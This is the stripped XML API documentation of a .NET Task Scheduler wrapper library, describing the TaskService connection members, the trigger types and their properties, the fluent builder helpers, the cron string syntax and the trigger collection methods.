+ The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + 